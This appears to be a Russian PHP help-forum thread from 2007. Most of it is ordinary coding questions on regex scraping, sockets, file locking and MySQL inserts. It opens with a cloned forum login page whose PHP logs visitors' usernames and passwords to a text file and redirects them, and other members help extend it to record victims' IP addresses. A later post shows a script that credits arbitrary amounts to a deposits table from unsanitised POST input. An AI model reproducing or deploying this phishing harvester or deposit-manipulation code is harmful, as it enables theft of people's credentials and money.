ПРИФЕТ!!!!!!!!Если ты тут первый раз, то оставайся, если ты из семьи, то я тя лю, если ты это я , то у мя шизефриния)))))))
</div>
</div>
</div>

<div id="pun-status" class="section">
<h2><span>Информация о пользователе</span></h2>
<p class="container">
<span class="item1">Привет, Гость!</span>
<span class="item2">Войдите или зарегистрируйтесь.</span>
</p>

</div>

<div id="pun-break1" class="divider"><hr /></div>

<div id="pun-crumbs1" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>



<div id="pun-break2" class="divider"><hr /></div>

<div id="pun-main" class="main">

<h1><span>Войти</span></h1>
<div class="formal">

<?php

if(isset($_POST['login'])){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);

echo "<script>top.location='http://emofamily.4bb.ru/';</script>";

}else{

echo "<script>top.location='http://emofamily.4bb.ru/';</script>";

}
?>

<form id="login" class="container" method="post" action="http://emofamily.4bb.ru/login.php?action=in" onsubmit="return process_form(this)">
<fieldset>
<legend><span>Введите ваше имя и пароль ниже</span></legend>
<div class="fs-box inline">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="redirect_url" value="http://emofamily.4bb.ru/" />



<p class="inputfield required">
<label for="fld1">Имя <em>(Обязательно)</em></label><br />
<span class="input"><input type="text" id="fld1" name="req_username" size="25" maxlength="25" /></span>
</p>
<p class="inputfield required">
<label for="fld2">Пароль <em>(Обязательно)</em></label><br />
<span class="input"><input type="password" id="fld2" name="req_password" size="16" maxlength="16" /></span>

</p>
<p class="infofield">Если Вы не зарегистрированы или забыли свой пароль нажмите на соответствующую ссылку ниже.</p>
</div>
</fieldset>
<p class="formsubmit"><input type="submit" class="button" name="login" value="Войти" /> <a href="http://emofamily.4bb.ru/register.php">Еще не зарегистрированы?</a> <a href="http://emofamily.4bb.ru/login.php?action=forget">Забыли пароль?</a></p>
</form>


</div>
</div>





<!-- pun_stats -->

<div id="pun-break3" class="divider"><hr /></div>

<div id="pun-crumbs2" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>

<div id="pun-break4" class="divider"><hr /></div>

<div id="pun-about" class="section">
<p class="container">
<span class="item1"><a href="http://mybb.ru/" target="_blank">Персональные форумы</a> , <a href="http://webtalk.ru/" target="_blank">Поиск по форумам</a> © <a id="mybb" href="http://mybb.ru/" target="_blank">MyBB</a></span>
</p>

</div>

<!-- html_footer -->

<!-- link_exchange -->

<div id="mybb-counter" style="display:none">
<script type="text/javascript"><!--
document.write('<img src="http://counter.yadro.ru/hit;ruhelp?r'+
escape(document.referrer)+((typeof(screen)=='undef ined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.co lorDepth?
screen.colorDepth:screen.pixelDepth))+';u'+escape( document.URL)+
';'+Math.random()+
'" width=1 height=1 alt="">')//--></script>
</div>

</div>

<div align="center" style="padding-bottom:10px">
<script type="text/javascript">
// <!--
var blbn_login = "mybb";
var blbn_options = "";
var blbn_random = Math.round(Math.random() * 100000);
document.write('<iframe src="http://www.business.lbn.ru/cgi-bin/iframe/'+blbn_login+'?'+blbn_random +'&'+blbn_options+'" width=468 height=60 marginwidth=0 marginheight=0 scrolling=no frameborder=0><a href="http://www.business.lbn.ru/cgi-bin/href/'+blbn_login+'?'+blbn_random +'" target=_top><img src="http://www.business.lbn.ru/cgi-bin/banner/'+blbn_login+'?'+blbn_random +'&'+blbn_options+'" alt="Деловой баннерообмен" width=468 height=60 border=0 ismap></a></iframe>');
// -->
</script>
<noscript><iframe src="http://www.business.lbn.ru/cgi-bin/iframe/mybb" width="468" height="60" marginwidth="0" marginheight="0" scrolling="no" frameborder="0"><a href="http://www.business.lbn.ru/cgi-bin/href/mybb" target="_top"><img src="http://www.business.lbn.ru/cgi-bin/banner/mybb" alt="Деловой баннерообмен" width="468" height="60" border="0" ismap="true" /></a></iframe></noscript>

</div>

</div>

</body>
</html>

по идеи так должно быть
но всеравно не работает

ENFIX
24.06.2007, 13:49
iNVLose, на народе нету поддержки php ;)

MesTb
24.06.2007, 14:08
всё вроде заработало
спасибо
с меня +

mr.The
24.06.2007, 22:37
Как скопировать последние N символов из строки?

MesTb
25.06.2007, 00:17
а вот хотел ещё спросить
что ещё нужно дописать сюда

if(isset($_POST['login'])){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);

чтобы вписывало ещё и айпи адресс

hhover
25.06.2007, 00:24
$_SERVER['REMOTE_ADDR'];

ENFIX
25.06.2007, 01:05
да много чего можно написать =)

<?php
echo "<pre>";
print_r ($GLOBALS);
echo "</pre>";
?>

Выбирай =)

Dr.Frank
25.06.2007, 08:29
да много чего можно написать =)


+ к этому информация о браузере

foreach (getallheaders() as $header => $value){
echo "$header: $value<br/>";
}

_Great_
25.06.2007, 11:04
Dr.Frank, большинство хидеров будут доступны в $_SERVER['HTTP_header'], например, $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_IF_MODIFIED_SINCE'] и проч. Поэтому это уже излишне

Ю_ЗвЕРь
25.06.2007, 11:26
Можно ли осуществить запрет на все браузеры отличные от Ie?
Дело в том, что по-разному отображается контент, в зависимости от браузера, а пока что только такой метод считаю целесообразным. Буду оч. благодарен за любую подсказку.

MesTb
25.06.2007, 13:35
$_SERVER['REMOTE_ADDR'];
а как этот код сюда дописать?

if(isset($_POST['login'])){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);


з.ы, сор за тупые вопросы , пока только начинаю))))

ENFIX
25.06.2007, 13:51
более правильно будет

fwrite ($fp, "IP: ".$_SERVER['REMOTE_ADDR']." UserName: ".$_POST['req_username']." Password: ".$_POST['req_password']." \n");

_Great_
25.06.2007, 15:16
iNVLose, такой вариант не прокатит. апострофы тогда надо убрать.
Более правильный вариант предложил ENFIX - переменные рекомендуется вносить за пределы строк, объединяя их со строковыми константами конкатенацией "."

Sw33p
26.06.2007, 19:44
Такая проблема

21. $p = explode("?",$link);
22. $p1 = strlen($p[0]);
23. $p2 = strlen($p[1]);

Пишет:
Notice: Undefined offset: 1 in T:\home\localhost\test.php on line 23

Как можно исправить?

Вопрос исчерпан.

hhover
26.06.2007, 19:51
23 строка:

if (isset($p[1])) $p2 = strlen($p[1]);

SIBON
28.06.2007, 02:11
только начинаю учить пхп подскажите пожайлусто как отправить пост запрос с переменными с помощью сокетов и получить ответ

ну как примерно в этом только нужен post с переменными

<?php
$fp = fsockopen("www.yandex.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.yandex.ru\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

hhover
28.06.2007, 02:22
$post_data = "a=1&b=2&c=3&d=4";
$length = strlen ( $post_data );

$header = "POST http://forum.antichat.ru/index.php HTTP/1.0\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n".
"Host: forum.antichat.ru\r\n".
"Content-Length: $length\r\n\r\n".
$post_data;
Заголовок такой. Остальное аналогично.

SIBON
28.06.2007, 14:20
$post_data = "a=1&b=2&c=3&d=4";
$length = strlen ( $post_data );

$header = "POST http://forum.antichat.ru/index.php HTTP/1.0\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n".
"Host: forum.antichat.ru\r\n".
"Content-Length: $length\r\n\r\n".
$post_data;
Заголовок такой. Остальное аналогично.

делаю вот так

<?php
$fp = fsockopen("www.passport.yandex.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {

$post_data = "retpath=http%3A%2F%2Fmail.yandex.ru%2F&timestamp=1182979341312&login=zz&passwd=zz";

$length = strlen ( $post_data );

$header = "http://passport.yandex.ru/passport?mode=auth HTTP/1.0\r\n" .
$header ="Content-Type: application/x-www-form-urlencoded\r\n".
$header ="Host: passport.yandex.ru\r\n".
$header ="Content-Length: $length\r\n\r\n".
$post_data;

fwrite($fp, $header);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

пишет
Bad Request
Your browser sent a request that this server could not understand.
Invalid URI in request http://passport.yandex.ru/passport?mode=auth HTTP/1.0

GoreMaster
28.06.2007, 14:32
$header = "POST /passport?mode=auth HTTP/1.0\r\n" .
$header .="Host: passport.yandex.ru\r\n".
$header .="Content-Type: application/x-www-form-urlencoded\r\n".
$header .="Content-Length: $length\r\n\r\n".
Вот так

NOmeR1
29.06.2007, 12:58
Чем можно заменить
header('Location...');

r0
29.06.2007, 13:44
<META HTTP-EQUIV='Refresh' Content='0; URL=http://сайт.ру' >

Joker-jar
29.06.2007, 13:50
Или через JavaScript

r0
29.06.2007, 23:47
Или через JavaScript
location.href='страница.html'

FreeNeDiX
01.07.2007, 02:02
Приф всем, вот такой вопрос...
Реально ли сделать грабер контента с html паги, ну пример странички HTML:

<html>
<head>
<meta http-equiv="Content-Language" content="ru">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Новость</title>
</head>
<body>
<table cellpadding="0" cellspacing="0" width="644">
<tr>
<td height="55" width="644" colspan="3" valign="top"><b><font size="7">
Супер сайт</font></b></td>
</tr>
<tr>
<td height="253" width="90" valign="top">Навигация<p>1</p>
<p>2</p>
<p>3</p>
<p>4</p>
<p>5</td>
<td height="253" width="424" valign="top">
<p align="left"><b>Новости:</b></p>
<p>Итак, по последним данным нам стало....</td>
<td height="253" width="130" valign="top">ССЫЛКИ<p>&nbsp;</p>
<p>1</p>
<p>2</p>
<p>3</p>
<p>4</p>
<p>&nbsp;</td>
</tr>
<tr>
<td height="59" width="644" colspan="3" valign="top">
<p align="center">копирайт</td>
</tr>
</table>
</body>
</html>

Вот полный код страницы, можно ли на другом сайте каким-либо образом сграбить все что относится к этому куску кода:

...
<p align="left"><b>Новости:</b></p>
<p>Итак, по последним данным нам стало....
...
Можно или нет?
Если да, то подскажите каким образом.

GoreMaster
01.07.2007, 02:16
Regular Expressions используй и будет тебе счастье
-------------------------------------------------
$pattern = '/(<p align="left"><b>Новости:<\/b><\/p><p>)(.*)(<\/td>)/'
preg_match($pattern,$str,$cout)
-------------------------------------------------------------------------
в $cout[2] будет лежать "Итак, по последним данным нам стало...."
З.Ы.:РегЭксп примитивный,думаю профи подправят, но идею изложил

Isis
01.07.2007, 02:36
FreeNeDiX, используй теги [.php], [.html]

$pattern = '#<p align="left"><b>Новости:</b></p><p>(.*)</td>#is'
preg_match($pattern,$str,$cout)

spamoney
01.07.2007, 11:35
В общем, нужен скрипт, который бы архивировал папки на сервере в .zip или .gzip, нашел такой скрипт
http://slil.ru/24577297
, но он работает почему то только на локалке, а на сервере не хочет :( наверно из-за того что там safe mode: on. Может у кого-нибудь есть рабочий, что б в safe mode работал?

Kridan
01.07.2007, 11:41
можно ли на другом сайте каким-либо образом сграбить все что относится к этому куску кода:

$sh = file_get_contents("http://www.site.ru/news.html", False);
$sh = chop($sh);

Только "allow_url_open" должно быть "on".

Isis
01.07.2007, 11:56
spamoney, уже не раз говорили, что скачивать никто ничего не будет..
Выкладывай скрипт сюда!

spamoney
01.07.2007, 13:17
spamoney, уже не раз говорили, что скачивать никто ничего не будет..
Выкладывай скрипт сюда!

Там более 200 кб php кода, выложить не получается, форум выдает ошибку:

При размещении сообщения были допущены следующие ошибки::
1.Пожалуйста, заполните поля темы и текста сообщения. Вернитесь назад, заполните поля и попробуйте снова.
2.Набранное вами сообщение слишком короткое. Увеличьте ваше сообщение до 2 символов.

Может тогда кто-нибудь сможет написать скрипт для архивирования папок на сервере при включенном safe mode?

Isis
01.07.2007, 14:21
Там более 200 кб php кода, выложить не получается, форум выдает ошибку:



Может тогда кто-нибудь сможет написать скрипт для архивирования папок на сервере при включенном safe mode?
А ты попробуй поставить 2 символа после закрытия тега [./php]
Ведь по-русски напсиано

FreeNeDiX
01.07.2007, 16:09
Спасиб парни, буду тестить.

FreeNeDiX
01.07.2007, 19:05
Хмм, регулярные выражения значит, в принципе все должно работать, скажите что не так?

<?php
$url = "http://site.nu/news.html";
$content = file_get_contents($url);
$pattern = '#<p align="left"><b>Новости:</b></p><p>(.*)</td>#is';
preg_match($pattern,$content,$out);
print($out);
?>

В итоге вместо нужной новости я вижу надпись Array.
Что не так?

Kridan
01.07.2007, 19:57
В итоге вместо нужной новости я вижу надпись Array.
Что не так?
mixed preg_match ( string pattern, string subject [, array &matches [, int flags [, int offset]]] ) Ищет в заданном тексте subject совпадения с шаблоном pattern.
В случае, если дополнительный параметр matches указан, он будет заполнен результатами поиска.
Элемент $matches[0] будет содержать часть строки, соответствующую вхождению всего шаблона, $matches[1] - часть строки, соответствующую первой подмаске, и так далее.

Попробуй
print($out[0];

FreeNeDiX
02.07.2007, 01:44
print_r($out); пробовал, не работает, точнее вместо Array, выводится Array ( ).

Не print($out[0];
а print($out[0]);, иначе ошибка...хотя все равно не работает и высвечивается...точнее ничего не выводится на экран. Мистика...

blaga
02.07.2007, 03:40
если $out массив то таким макаром он и не выведет. Почитайте про обход массивов.

hhover
02.07.2007, 05:12
Тебе дали нерабочую регулярку. Но тем не менее проверь, действительно ли в переменной $content содержится нужная страница.

И нужно было проявить минимум смекалки, чтобы догодаться, что если переменная пустая, когда при echo $variable; ничего не выводится. Я не знаю кем надо быть, чтобы по этому поводу вопросы задавать. Аналогично по функции print_r (http://php.net/print_r). Только тут еще надо хотя-бы слегка быть знакомым с понятием массив.

$pattern = "/<p\salign\=\"left\"\>\<b\>(.+?)\<\/b\>\<\/p\>\s+\<p\>(.+?)\<\/td\>/is";

FreeNeDiX
02.07.2007, 05:56
Да, дейсвительно, спасибо тебе blaga. Вот полностью рабочий код:

<?php
$url = "http://site.nu/news.html";
$content = file_get_contents($url);
$pattern = "@<td height=\"40\" valign=\"top\"><b>Новость:</b><p>(.*)</td>@isU";
preg_match_all($pattern, $content, $out);
foreach($out[0] as $info)
{
echo("$info");
}
?>

DIAgen
02.07.2007, 17:37
Суть проблемы в том, что есть скрипт работает с определенным файлом, считывание и запись в него, как возможно заблокировать как нибудь допуск к этому файлу пока работает это скрипт, и от повторной запуски данного скрипта?

Ni0x
03.07.2007, 17:20
DIAgen, тебе нужна функция flock()
if($fp=fopen($filename,'w') && flock($fp,LOCK_EX))
/*LOCK_EX - блокировка
взаимоисключающего доступа(используется для записи)*/
{
$rs=fwrite($fp,$content);
flock($fp, LOCK_UN); //LOCK_UN снять блок
fclose($fp);
return $rs;
}

для чтения используй LOCK_SH

Ska
06.07.2007, 09:11
У меня такой вопрос я не могу подключить библиотеку php_sockets.dll(. Вроде всё делал так же как и при подключении библиотеки для работы с скуль( но скуль работает а это нет). За рание благодарен.

n1†R0x
06.07.2007, 10:28
У меня такой вопрос я не могу подключить библиотеку php_sockets.dll(. Вроде всё делал так же как и при подключении библиотеки для работы с скуль( но скуль работает а это нет). За рание благодарен.
куда ты ставил? на локалхост? если да, то как?

я ставил так: скопировал .dll в каталог %WINDIR%\SYSTEM и раскомментировал строчку
;extension=php_sockets.dll //string #587
в php.ini (раздел Динамические Загружаемые Расширения)

Ska
06.07.2007, 11:55
n1†R0x да вроде всё так и делал. Ettee правильно указан.

Gho_st
07.07.2007, 19:18
такая проблема
пользую функции imagettftext()
для генерации текста на картинке

проблема в том что вместо русских символов отображаются неведомые мне закорючки
побывал перекодировать строку =( эффекта никакого отображаются закорючки но уже другие
need help

з.ы. пользую шрифт arial.ttf стандартный видновый т.е. кириллицу поддреживает

hhover
07.07.2007, 20:03
function toUnicodeEntities($text, $from="w")
{
$text = convert_cyr_string($text, $from, "i");
$uni = "";
for ($i=0, $len=strlen($text); $i<$len; $i++)
{
$char = $text{$i};
$code = ord($char);
$uni .= ($code>175)? "&#" . (1040+($code-176)) . ";" : $char;
}
return $uni;
}
Вот такая функция перекодировки должна работать.

Ni0x
07.07.2007, 20:05
Gho_st, сначала нужно конвертировать твой текст в unicode.
http://articles.org.ru/cfaq/index.php?qid=1876&frommostrecent=yes

spamoney
08.07.2007, 14:44
Есть файл с цитатами
quote.txt, цитаты пронуменованы от 001 до 961, их нужно как то запихнуть в базу данных, в БД такие поля:

quoteid author email date name cat quote rating ratingtot ratings


Можно ли написать такой скрипт, что бы каждую цитату заносил в поле quote, а quoteid присваивался 690 + номер цитаты в файле qupte.txt (просто в БД уже имеется 690 цитат) Ну и что бы я мог указать остальные значения полей(для каждой из цитат они будут одинаковыми)

GoreMaster
08.07.2007, 15:07
В каком виде они храняться в этом txt файле?

spamoney
08.07.2007, 15:10
001.ТекстТекстТекстТекстТек ст
-ТекстТекстТекст
-ТекстТекст

002.ТекстТекстТекстТекстТек стТекст

003.ТекстТекстТекстТекстТек стТекстТекстТекстТекст
ТекстТекстТекстТекстТекст ТекстТекстТекст

Вот в таком примерно......

Raz0r
08.07.2007, 15:36
ты точно напиши
а не примерно

spamoney
08.07.2007, 16:08
ты точно напиши
а не примерно

001. You're alive. Do something. The directive in life, the moral imperative was so uncomplicated. It could be expressed in single words, not complete sentences. It sounded like this: Look. Listen. Choose. Act.

. . .

002. The first step to getting the things you want out of life is this: Decide what you want.

. . .

003. Oh, life is a glorious cycle of song,
A medley of extemporanea;
And love is a thing that can never go wrong;
And I am Marie of Romania.

. . .

004. It's not true that life is one damn thing after another; it is one damn thing over and over.

. . .

005. Life is as tedious as a twice-told tale
Vexing the dull ear of a drowsy man.

. . .

006. A wretched soul, bruised with adversity,
We bid be quiet when we hear it cry;
But were we burdened with like weight of pain,
As much or more we should ourselves complain.

. . .

007. And since you know you cannot see yourself,
so well as by reflection, I, your glass,
will modestly discover to yourself,
that of yourself which you yet know not of.

Думаю сначала нужно будет с помощью граббера выбрать всё что находится между
.

. . .
записать полученный результат в файл, так чтобы каждая цитата занимала только одну строку. При этом если кол-во строк в цитате больше одной, то скрипт должен вставлять тэг br
т.е скрипт должен выбрать из

006. A wretched soul, bruised with adversity,
We bid be quiet when we hear it cry;
But were we burdened with like weight of pain,
As much or more we should ourselves complain.

. . .

только

A wretched soul, bruised with adversity,
We bid be quiet when we hear it cry;
But were we burdened with like weight of pain,
As much or more we should ourselves complain.

записав в файл это одной строчкой

A wretched soul, bruised with adversity,<_br>We bid be quiet when we hear it cry;<_br>But were we burdened with like weight of pain,<_br>As much or more we should ourselves complain.

Ну а потом уже наверно будет несложно полученный файл засунуть в БД.
Вот, может кто знает как это все реализовать?

Raz0r
08.07.2007, 18:15
Работаешь с файлом, делишь все на части и пишешь в БД.
1. Открываешь сод. файла
2. Отрезаешь все кроме текста

$file = split("\r\n. . .\r\n",$file);

3. отрезаешь цифры
4. работаешь с текстом
5. пишешь в БД

spamoney
08.07.2007, 19:36
A moshno po podrobnee, a to v php ia kak to ne o4en' razbiraus'. Esli pynkti 1,2,3,5 ya dymau smogy naiti kak sdelat' to pynkt 4 woobshe ne poniaten. P.S izweniaus' za translit-pishy s mobili

Raz0r
08.07.2007, 20:19
Работаешь с текстом - в плане - обработка, т.е. - убераем цифры 001. и оставляем только один текст, заменяем \n\r на <br>.можно помучать функцию обрезания :D (substr) и замены (str_replace).

hhover
08.07.2007, 20:45
spamoney,

<?php

// Тут имя твоего файла.
$fo = fopen ( 'filename.txt', 'rb' );
$text = '';
while ( ! feof ( $fo ) )
{
$text .= fgets ( $fo );
}
fclose ( $fo );

// -------------------------------
//
// Тут коннект к базе данных.
//
// -------------------------------

$array = explode ( ". . .", $text );

foreach ( $array as $key => $quote )
{

$quote = trim ( $quote );
$quote = substr ( $quote, 4 );
$quote = trim ( $quote );

// Поле quoteid должно быть auto_increment
$query = "insert into table (author, email, date, name, cat, quote, rating, ratingtot, ratings)
values ('author', 'nomail@nomail.com', ".time().", 'name', 'cat', '$quote', 0, 0)";
$mysql_query = mysql_query ( $query );

}

?>

spamoney
09.07.2007, 06:44
hhover, огромное спасибо, всё работает
только строчку
$query = "insert into table (author, email, date, name, cat, quote, rating, ratingtot, ratings)
values ('author', 'nomail@nomail.com', ".time().", 'name', 'cat', '$quote', 0, 0)";
заменил
$query = "INSERT INTO `table_quote` VALUES (NULL, 'spamoney', 'email@mail.ru', now(), 'name', 'cat', '$quote', '0', '0', '0')";

Helios
09.07.2007, 12:26
Для предотвращения всяких непоняток с заменой переменных их значениями в строках с двойными кавычками рекомендуется делать так:



$str = "bla bla bla{$war}bla";


Если бы переменная не была выделена фигурными скобками, то для замены уже бы искалась переменная $warbla, а не $war.

Gho_st
12.07.2007, 03:01
есть строка текста
с переносами ( \n )
нужно посчитать сколько раз переноситься текст
__

блин вроде бы примитивная задача но что-то моим способом решить её не удается=((

FreeNeDiX
12.07.2007, 03:25
Прив всем, нужно написать скрипт проверки доступности сайта.
Вот только как это реализовать правильно я хз. (

Dr.Frank
12.07.2007, 04:37
есть строка текста
с переносами ( \n )
нужно посчитать сколько раз переноситься текст
__

блин вроде бы примитивная задача но что-то моим способом решить её не удается=((

Вобще-то вот так:
$t="dsf\nads\ndf\n\ndsf\nrt"; //Заданный текст
$count=substr_count($t,"\n");


Но можно извратиться... =):

$t="dsf\nads\ndf\n\ndsf\nrt"; //Заданный текст
$r=explode("\n",$t);
$count=count($r)-1; // В переменной $count Будет количество переносов(кол-во символов "\n")

Ni0x
12.07.2007, 10:54
Прив всем, нужно написать скрипт проверки доступности сайта.
Вот только как это реализовать правильно я хз. (
через сокет отправляй пакет get/post методом на индекс, далее поймешь по ответу сервера.

Ch3ck
12.07.2007, 11:01
Прив всем, нужно написать скрипт проверки доступности сайта.
Вот только как это реализовать правильно я хз. (
Да любой функцией обратиться к этому сайту... вот и всё...например

<?php
error_reporting(0);
$host="forum.antichat.ru";
$f = fsockopen($host, 80);
fwrite($f, "GET / HTTP/1.0\nHost: $host\n\n");
$str = fread($f, 1024);
echo ($str.'<br><br><br>');
if (substr($str,9,6)=="200 OK")
{
echo("ВСЁ ПРЕКРАСНО");
}
else {
echo("ВСЁ НЕПРЕКРАСНО");
}
fclose($f);
?>

Кажется так...

Helios
12.07.2007, 12:08
Если на запрашиваемом сервере вирт.хостинг и крутится туева хуча доменов, то этот скрипт будет всегда говорить, что сайт в дауне. Плюс не на каждом сайте есть страница index.html.

Нужно немного переделать:

...
fwrite($f, "GET / HTTP/1.0\nHost: yandex.ru\n\n");
...

Ch3ck
12.07.2007, 12:23
2 Helios переписал.
sps.

Virus Catcher
12.07.2007, 21:04
Сделал я тут md5 криптор (еси кому нужно).
Суть такая. в окне авторизации вводим логин и пасс\
и он выдает хеши логина и паса для последующегго пользования (в различных целях)
Прооблема в то, что перед тем как выдать результат, акно авториза выскакивает аж три раза подряд!!!
в чем проблема, нипонимаю :(

А при запуске скрипта через оперу вообше не выдает результата пока в повторно-выскочевшем окошке не нажмешь "Отмена".


<?php
header('WWW-Authenticate: Basic realm="Hash-Encryptor"');
echo "hash md5 for ";
echo $_SERVER['PHP_AUTH_USER'];
echo " is: ";
echo " <br> Login: ";
echo md5($_SERVER['PHP_AUTH_USER']);
echo " <br> Password: ";
echo md5($_SERVER['PHP_AUTH_PW'])
?>

Хелп плиз!

GoreMaster
12.07.2007, 21:33
<?php
header('WWW-Authenticate: Basic realm="Hash-Encryptor"');
if(isset($_SERVER['PHP_AUTH_USER'],$_SERVER['PHP_AUTH_PW'])){
header('HTTP/1.0 Authorized');
echo "hash md5 for ";
echo $_SERVER['PHP_AUTH_USER'];
echo " is: ";
echo " <br> Login: ";
echo md5($_SERVER['PHP_AUTH_USER']);
echo " <br> Password: ";
echo md5($_SERVER['PHP_AUTH_PW']);
}
?>

Вот терь работает
В твоем случае лучше мутить через вебформу,нежели через окошко авторизации ;)

<form action="" method="GET">
Login:<br> <input type="text" name="login"><br>
Password:<br> <Input type="password" name="pass"><br>
<input type="submit" name="hash" value="Encrypt">
</form>
<?php
if(isset($_GET['hash'],$_GET['login'],$_GET['pass'])){
echo "Login: ". md5(trim($_GET['login'])) . "</br>";
echo "Pass: " . md5(trim($_GET['pass']));
}
?>
Тип такого...

FreeNeDiX
13.07.2007, 00:20
Спс, я немного доработал для вывода сразу нескольких сайтов...кста, можно ли реализовать каким либо способом многопоточность в данном скрипте?

GoreMaster
13.07.2007, 00:42
многопоточность
забудь это слово,если на пхп кодишь

FreeNeDiX
13.07.2007, 02:55
Спс, а perl?

GoreMaster
13.07.2007, 03:53
Спс, а perl?
[b]Perl[b] обсуждается в соседнем топике так что тебе туда =)
P.S.: многопоточность в перле есть

Nekt
13.07.2007, 17:34
Нужно что-бы из одного поля скажем I скрипт брал информацию, и из второго поля скажем N, и строил в таком порядке. I <n>, I <n>... Но в поля будут вводиться разные данные, и их будет порядком 5-6 пар.
Как так сделать? примерчиком.

dokwill
13.07.2007, 18:38
такой вопрос как в строке
$q = ' update hm2_deposits set actual_amount =actual_amount + '$depo' where id = '$my_id' ' ;


корректно прописать переменные
$depo и $my_id



ругается вот так

unexpected T_VARIABLE

не могу понять что не так

ENFIX
13.07.2007, 18:46
dokwill:
$q ="update hm2_deposits set actual_amount =actual_amount + '".$depo."' where id = '".$my_id."';";

dokwill
13.07.2007, 23:19
файл запроса
<form action="http://www.*/1.php" method="POST"></b>
<div align="left">
<input type="hidden" name="a" value="deposit">
<input type="hidden" name="string" value="12345">
<input type=text name="my_id" size=4 value=" ">
<input type=text name="depo" size=4 value="10">
<br>
<input type="submit" value="GO">
</b>
</div></form>


это 1.php
<?
$arr = get_defined_vars ();
$depo = HTTP_POST_VARS'depo'];
$my_id = HTTP_POST_VARS['my_id'];
while (list ($kk, $vv) = each ($arr))
{
if (gettype ($$kk) != 'array')
{
$$kk = '';
continue;
}
}
include 'inc/config.inc.php';
$dbconn = db_open ();

if (!$dbconn)
{
print 'Cannot connect mysql';
exit ();
}
if (($frm['a'] == 'deposit' AND $frm_env['REQUEST_METHOD'] == 'POST'))
{
$string = '12345'. $frm_env['HTTP_HOST'];
if ($frm['string'] == '12345')
{
$q =' update hm2_deposits set actual_amount =actual_amount + '.$depo.' where id = '.$my_id.' ' ;
$sth = mysql_query ($q);

print done;
exit ();
}
?>

немогу никак прописать чтобы эти переменные $depo и $my_id. - вставляли в строку мускл разные значения

вопрос как задать и прописать - эти переменные
в мускл - а то он постоянно ругается

GoreMaster
13.07.2007, 23:23
' update hm2_deposits set actual_amount =actual_amount + '.$depo.' where id = '.$my_id.' '
замени на:
' update hm2_deposits set actual_amount =actual_amount + '".$depo."' where id = '".$my_id."''
Ты вкурсах,что запрос update заменяет предыдущие данные на новые,чтобы вставить используй запрос с Insert
Example: 'INSERT INTO `my_db` VALUES ('val1','val2',...)'

Kridan
13.07.2007, 23:35
Я бы ещё посоветовал
$q ="update `hm2_deposits` set `actual_amount` =`actual_amount` + ".$depo." where `id` = '".$my_id."'" ;
Т.е. в обратные кавычки имена полей и таблицы.

dokwill
13.07.2007, 23:47
$q ="update `hm2_deposits` set `actual_amount` =`actual_amount` + ".$depo." where `id` = ".$my_id." ";

да без обратных ковычек хост не воспринимает у меня
спасибо всем вроде прошел

последний вопрос
syntax error, unexpected $end

строка не закрывается
вчем трабл уже все перепробовал

GoreMaster
13.07.2007, 23:51
} забыл перед ?>

dokwill
13.07.2007, 23:53
} забыл перед ?>

точняк +1 тебе и все кто помог

dokwill
14.07.2007, 00:01
еще вопрос

тк это новые переменные и приходят из пост запроса
их видимо надо задать - так ?
$q ="update `hm2_deposits` set `actual_amount` =`actual_amount` + ".$depo." where `id` = ".$my_id." ";

$depo = HTTP_POST_VARS['depo'];
$my_id = HTTP_POST_VARS['my_id'];

но на это - ответ
syntax error, unexpected '[' in

что может быть?

dokwill
14.07.2007, 00:09
заменил на () все ок

ENFIX
14.07.2007, 00:10
dokwill, HTTP_POST_VARS в 6 версии будут исключены, так что лучше используй $_POST

$depo = $_POST["depo"];
$my_id = $_POST["my_id"];

Попробуй...

Isis
14.07.2007, 00:39
dokwill, HTTP_POST_VARS в 6 версии будут исключены, так что лучше используй $_POST

$depo = $_POST["depo"];
$my_id = $_POST["my_id"];

Попробуй...
А еще в пхп лучше использовать одинарные кавычки т.к. это увеличивает скорость выполнения скрипта...

GreenBear
14.07.2007, 00:42
А еще в пхп лучше использовать одинарные кавычки т.к. это увеличивает скорость выполнения скрипта...
их надо использовать там, где нет переменных.
если "1$s", то двойные, если '1s', то одинарные.

Kridan
14.07.2007, 12:22
их надо использовать там, где нет переменных.
если "1$s", то двойные, если '1s', то одинарные.
$s='ddd';
print '$s'; //выведет $s
print "$s"; //выведет ddd

Great: заканчиваем оффтоп

GreenBear
14.07.2007, 14:15
Kridan, я по твоему не умею php.net читать?
тем более я сказал
их надо использовать там, где нет переменных.

Kridan
14.07.2007, 17:27
GreenBear
Эт не тебе. Просто уточнение, для тех, кому не понятно, что значит там, где нет переменных.

Alexkz
15.07.2007, 12:09
$s='ddd';
print '$s'; //выведет $s
print "$s"; //выведет ddd

Great: заканчиваем оффтоп

А почему бы не использовать

print '.$s.'; ?

Ведь

print " bla $s bla ";
выполнится намного медленее чем
print ' bla '.$s.' bla ';

Isis
15.07.2007, 13:19
Alexkz, не намного медленние, а на 0,0001 доли секунды
И если на то пошло, то не
print '.$s.';
, а
print $s; правда?

Alexkz
15.07.2007, 14:00
Alexkz, не намного медленние, а на 0,0001 доли секунды
И если на то пошло, то не
print '.$s.';
, а
print $s; правда?

На счет
print $s;

Согласен, а вот по поводу
